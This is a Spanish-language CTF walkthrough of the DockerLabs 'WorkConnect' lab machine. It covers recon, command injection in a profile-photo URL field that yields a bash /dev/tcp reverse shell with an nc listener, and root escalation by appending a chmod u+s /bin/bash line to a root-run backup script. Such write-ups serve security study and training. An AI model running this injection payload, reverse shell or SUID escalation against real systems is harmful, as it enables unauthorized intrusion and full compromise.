> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/medio/workconnect.md).

# WorkConnect

## Introduccion

En esta maquina de DockerLabs se compromete una aplicacion FastAPI/Uvicorn expuesta en el puerto `8000`. La aplicacion simula una red social profesional y permite actualizar el perfil con una foto importada desde una URL externa.

La funcionalidad de importacion es el punto critico: primero permite confirmar que el servidor hace peticiones hacia recursos controlados por el atacante y, despues, se abusa de una inyeccion de comandos en el tratamiento de la URL para obtener una reverse shell como `recruiter`. La escalada final llega al descubrir que root ejecuta periodicamente `/opt/backup.py`; como `recruiter` puede modificar ese script, se fuerza el bit SUID sobre `/bin/bash` y se obtiene una shell privilegiada con `bash -p`.

***

## Reconocimiento

Se realiza un escaneo completo con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/n23ahYwwAYuMtx4kcUOu" alt="Escaneo Nmap de WorkConnect"></div>

Solo aparece un puerto abierto:

| Puerto   | Servicio | Version |
| -------- | -------- | ------- |
| 8000/tcp | HTTP     | Uvicorn |

La web principal muestra la aplicacion WorkConnect:

<div align="center"><img src="/files/Y2eI168THypVun2DLCNB" alt="Landing page de WorkConnect"></div>

***

## Enumeracion web

Se enumeran rutas con Gobuster:

```bash
gobuster dir -u http://172.17.0.2:8000 \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
  -x html,zip,php,txt,bak,sh,asp,aspx \
  -b 404 \
  -t 60
```

<div align="center"><img src="/files/e2sZqnn650aXSUVLFbiB" alt="Enumeracion con Gobuster"></div>

Rutas relevantes:

```
login
register
docs
static
dashboard
redoc
```

Al acceder a `/docs` se muestra la documentacion Swagger de FastAPI:

<div align="center"><img src="/files/bR7DcQmYbvA46hJz8a3M" alt="Documentacion FastAPI en docs"></div>

Entre los endpoints aparece:

```
POST /dashboard/update-profile
```

***

## Registro y panel

Se crea una cuenta desde el formulario de registro:

<div align="center"><img src="/files/rAucYgHttgElEt5YGdbD" alt="Registro de usuario en WorkConnect"></div>

Tras iniciar sesion se accede al panel de control. En la seccion de perfil existe un campo interesante:

```
Foto de Perfil (Importar desde URL externa)
```

<div align="center"><img src="/files/FgchLABJkwuGUNG748n0" alt="Panel de perfil con importacion por URL"></div>

La propia interfaz indica que el servidor descargara la imagen por el usuario, lo que sugiere una funcionalidad sensible a SSRF o a inyeccion si la URL se pasa a comandos del sistema.

***

## Prueba de importacion externa

Se levanta un servidor HTTP en la maquina atacante y se apunta el campo de foto hacia un fichero controlado:

```
http://172.17.0.1:8080/foto.py
```

<div align="center"><img src="/files/TVTmkUZbwLBuYt42fKrs" alt="Importacion de foto desde servidor externo"></div>

La respuesta muestra que la aplicacion realiza una peticion HTTP y recupera el recurso externo:

```
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.13.12
Content-type: text/x-python
```

***

## Command Injection

Al probar con caracteres de shell en la URL se confirma que la aplicacion no trata el valor como una URL segura, sino que acaba interpretandolo en una cadena de comandos. Se prepara una reverse shell usando una tuberia:

```
http://172.17.0.1:8080/foto.php | bash -c 'bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
```

<div align="center"><img src="/files/4IpF4lGsXzvgiaMqSLjE" alt="Payload de command injection en la URL de foto"></div>

Con un listener en la maquina atacante:

```bash
nc -lvnp 4444
```

se recibe una shell como `recruiter`:

<div align="center"><img src="/files/SWIdIDISdCXXACzpQNkH" alt="Reverse shell como recruiter"></div>

La shell cae en:

```
/opt/workconnect
```

***

## Enumeracion local

No existe `sudo` en el sistema:

```bash
sudo -l
```

<div align="center"><img src="/files/oHEGqL1UrK7t0jSrFXVq" alt="Enumeracion de SUID y ausencia de sudo"></div>

Se revisan binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

La lista contiene binarios habituales como `su`, `passwd`, `mount` y `umount`, pero no aparece un SUID directamente explotable.

En el directorio de la aplicacion se encuentra `database.db`. Al leerla se observan las tablas de SQLite y datos de usuarios:

<div align="center"><img src="/files/BYKyzPNL54aIeHbuvw3f" alt="Datos de usuarios en database.db"></div>

Entre las credenciales aparece una clave llamativa:

```
SuperSecretAdmin123!
```

Aunque resulta util como pista, la escalada real llega por la tarea de backup.

***

## Proceso de backup

Se revisan los procesos:

```bash
ps aux
```

<div align="center"><img src="/files/RrG1xgMb4zjkPxgdwyCQ" alt="Procesos del contenedor WorkConnect"></div>

El proceso inicial ejecuta `entrypoint.sh`. Al leerlo se descubre una tarea en bucle:

<div align="center"><img src="/files/RvqMoRlNHDyW85wc1gYu" alt="entrypoint con ejecucion periodica de backup.py"></div>

Contenido relevante:

```bash
while true; do
    python3 /opt/backup.py >> /var/log/backup.log 2>&1
    sleep 60
done &

exec su -s /bin/bash recruiter -c "cd /opt/workconnect && python3 run.py"
```

La aplicacion corre como `recruiter`, pero el bucle de backup se lanza antes del `su`, por lo que `backup.py` se ejecuta como root cada 60 segundos.

***

## Escalada a root

Como `recruiter` se puede escribir en `/opt/backup.py`. Se anade una instruccion para poner SUID a `/bin/bash`:

```bash
echo 'import os; os.system("chmod u+s /bin/bash")' >> /opt/backup.py
```

<div align="center"><img src="/files/qXJzvJExZW3iJvSf9Zc1" alt="Modificacion de backup.py para poner SUID a bash"></div>

Tras esperar a que se ejecute la tarea, se comprueban permisos:

```bash
ls -l /bin/bash
```

<div align="center"><img src="/files/k98eIvehjzXHrMdK4c5W" alt="Bash con bit SUID activado"></div>

El binario pasa de:

```
-rwxr-xr-x
```

a:

```
-rwsr-xr-x
```

Con `bash -p` se conserva el `euid=0`:

```bash
/bin/bash -p
id
whoami
```

<div align="center"><img src="/files/BzlOi3loV3QpERDUGHOE" alt="Shell root con bash SUID"></div>

Resultado:

```
uid=1000(recruiter) gid=1001(recruiter) euid=0(root)
root
```

***

## Resumen

La cadena completa queda:

1. Reconocimiento de Uvicorn/FastAPI en el puerto `8000`.
2. Enumeracion de rutas con Gobuster.
3. Revision de `/docs` y endpoints de FastAPI.
4. Registro e inicio de sesion en WorkConnect.
5. Abuso de importacion de foto por URL externa.
6. Command Injection mediante tuberia en el campo de URL.
7. Reverse shell como `recruiter`.
8. Enumeracion local sin `sudo` y revision de SUID.
9. Lectura de `database.db` como apoyo.
10. Descubrimiento de `entrypoint.sh` ejecutando `/opt/backup.py` como root.
11. Modificacion de `backup.py` para activar SUID en `/bin/bash`.
12. Escalada final con `/bin/bash -p`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/medio/workconnect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
